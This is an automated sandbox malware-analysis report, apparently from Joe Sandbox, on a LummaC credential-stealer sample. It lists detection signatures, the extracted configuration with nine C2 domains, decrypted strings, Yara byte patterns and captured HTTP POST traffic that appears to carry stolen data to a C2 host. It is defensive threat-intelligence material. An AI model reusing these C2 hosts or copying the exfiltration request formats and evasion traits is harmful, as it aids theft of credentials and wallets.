Edit tour

Windows Analysis Report
LwnI84BBtb.exe

Overview

General Information

Sample name:	LwnI84BBtb.exe renamed because original name is a hash value
Original sample name:	49293c745f0fd48ab2784cad7cc5a0ac.exe
Analysis ID:	1429106
MD5:	49293c745f0fd48ab2784cad7cc5a0ac
SHA1:	65c11bc045e69bec4e164914b2e2b3bfd2ef12a2
SHA256:	25c3cd7375f5244402a5b407a107266c2c93dcaa6f313d78ad944689a2be184f
Tags:	32exetrojan
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

LwnI84BBtb.exe (PID: 7396 cmdline: "C:\Users\user\Desktop\LwnI84BBtb.exe" MD5: 49293C745F0FD48AB2784CAD7CC5A0AC)

WerFault.exe (PID: 7552 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7396 -s 1568 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7624 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7396 -s 1644 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--key"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1921423684.0000000001A4E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1598:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: LwnI84BBtb.exe PID: 7396	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.3.LwnI84BBtb.exe.36a0000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--key"}

Multi AV Scanner detection for domain / URL

Source: https://strollheavengwu.shop/api	Virustotal: Detection: 10%			Perma Link
Source: https://strollheavengwu.shop:443/api	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for submitted file

Source: LwnI84BBtb.exe

Virustotal: Detection: 40%

Perma Link

Machine Learning detection for sample

Source: LwnI84BBtb.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: strollheavengwu.shop
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: P6Mk0M--key

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Code function: 0_2_004162D6 CryptUnprotectData,

0_2_004162D6

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Unpacked PE file: 0.2.LwnI84BBtb.exe.400000.0.unpack

Source: LwnI84BBtb.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49737 version: TLS 1.2

Source:	Binary string: C:\cekimif35 yanofegec\62\pus.pdb source: LwnI84BBtb.exe
Source:	Binary string: [C:\cekimif35 yanofegec\62\pus.pdb source: LwnI84BBtb.exe

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0043B3B0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_00410565
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_004156B6
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_004156B6
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_00438879
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_00437998
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_00437998
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	0_2_00435B8B
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0041CC60
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0041CC60
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043AE80
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [ebx+ecx+02h], 0000h	0_2_0041AFE0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0041AFE0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043B060
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov eax, ebx	0_2_00426097
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	0_2_00426097
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0040D160
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_0041210C
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0041B1E0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp ecx	0_2_0043A182
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp ecx	0_2_0043A190
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004222E7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004222ED
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp eax	0_2_00439389
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp eax	0_2_00422422
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esi+40h]	0_2_004134B2
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then movzx edi, bl	0_2_0043A5D0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_004245D4
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_00410565
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_00424678
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_004245A8
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043B6A0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	0_2_004088F0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0043B9D0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+edi]	0_2_0043B9D0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, edi	0_2_004069B4
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00417A65
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp eax	0_2_00417A1A
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then inc eax	0_2_0041DB22
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov edi, dword ptr [esp]	0_2_00407C70
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov esi, dword ptr [eax+ebx*4]	0_2_00407C70
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_00437D40
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043AD70
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ebx, ecx	0_2_00410D77
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov dword ptr [esi+000005F0h], 00000000h	0_2_00410D77
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ebx, eax	0_2_00402D10
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00412E93
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then inc eax	0_2_00438F6A
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then inc ebx	0_2_00414FC0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00431F80
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_03662373
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp ecx	0_2_0368A3E9
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp ecx	0_2_0368A3F7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0365D3C7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [ebx+ecx+02h], 0000h	0_2_0366B247
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0366B247
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then inc ebx	0_2_03665227
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov eax, ebx	0_2_036762FE
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	0_2_036762FE
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0368B2C7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_036821E7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then inc eax	0_2_036891D1
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0368B0E7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_036630FA
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esi+40h]	0_2_03663719
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_036607CC
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0368B617
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp eax	0_2_03672689
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0367254E
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_03672554
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp eax	0_2_036895F0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0366B447
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	0_2_03658B57
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_03687BFF
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_03687BFF
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then inc eax	0_2_0366DA12
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_03688AE0
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_0367480F
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0368B907
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0366B917
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_0366591D
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_0366591D
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_0367483B
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then movzx edi, bl	0_2_0368A837
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_036748DF
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ebx, eax	0_2_03652F77
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ebx, ecx	0_2_03660FDE
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov dword ptr [esi+000005F0h], 00000000h	0_2_03660FDE
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0368AFD7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_03687FA7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0366CEC7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0366CEC7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov edi, dword ptr [esp]	0_2_03657ED7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov esi, dword ptr [eax+ebx*4]	0_2_03657ED7
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	0_2_03685DF2
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0368BC37
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+edi]	0_2_0368BC37
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_03667CCC
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 4x nop then jmp eax	0_2_03667C81

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: strollheavengwu.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18161Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8782Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20435Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3792Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1391Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 554814Host: strollheavengwu.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: strollheavengwu.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop

Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: LwnI84BBtb.exe, 00000000.00000003.1702692182.0000000004215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: LwnI84BBtb.exe, 00000000.00000003.1685507851.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685440661.000000000421A000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1685351336.000000000422F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: LwnI84BBtb.exe, 00000000.00000003.1712472614.0000000004201000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1712668500.0000000004205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
